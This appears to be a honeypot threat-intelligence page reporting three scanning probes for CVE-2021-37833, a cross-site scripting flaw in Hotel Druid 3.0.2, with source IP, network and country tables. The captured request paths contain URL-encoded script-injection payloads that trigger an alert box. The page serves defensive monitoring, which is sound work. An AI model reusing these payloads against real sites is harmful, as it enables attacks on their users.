CVE-2021-37833: Hotel Druid 3.0.2 - Cross-Site Scripting
HoneyLabs honeypots recorded 3 probes matching CVE-2021-37833 from 1 distinct source IP address in the last 7 days. Severity is rated medium.
What the sensors show
All of them arrived on one day, 2026-11-02.
Request paths that identify it
- /visualizza_tabelle.php?anno=2021&tipo_tabella=prenotazioni&sel_tab_prenota=tutte&wo03b%3C%2Fscript%3E%3Cscript%3Ealert%…
- /tabella.php?jkuh3%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Eyql8b=1
- /crea_modelli.php?anno=2021&id_sessione=&fonte_dati_conn=attuali&T_PHPR_DB_TYPE=postgresql&T_PHPR_DB_NAME=%C2%9E%C3%A9e&…
- /storia_soldi.php?piu17%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ee3esq=1
Addresses probing it
| Source IP | Probes | Network | Country |
|---|---|---|---|
| 66.92.21.200 | 3 | Psychz Networks | United States |
Networks it comes from
| ASN | Organisation | Probes | Source IPs |
|---|---|---|---|
| AS40676 | Psychz Networks | 3 | 1 |
Where it comes from
| Country | Probes |
|---|---|
| United States | 3 |
Captured requests
- /storia_soldi.php?piu17%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ee3esq=1
- /visualizza_tabelle.php?anno=2021&tipo_tabella=prenotazioni&sel_tab_prenota=tutte&wo03b%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ew5px3=1
- /tabella.php?jkuh3%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Eyql8b=1
HTTP client fingerprints
- b11cun050_0004001e_00ecc3a8
CVE report
Open a specific CVE from the CVE tracker.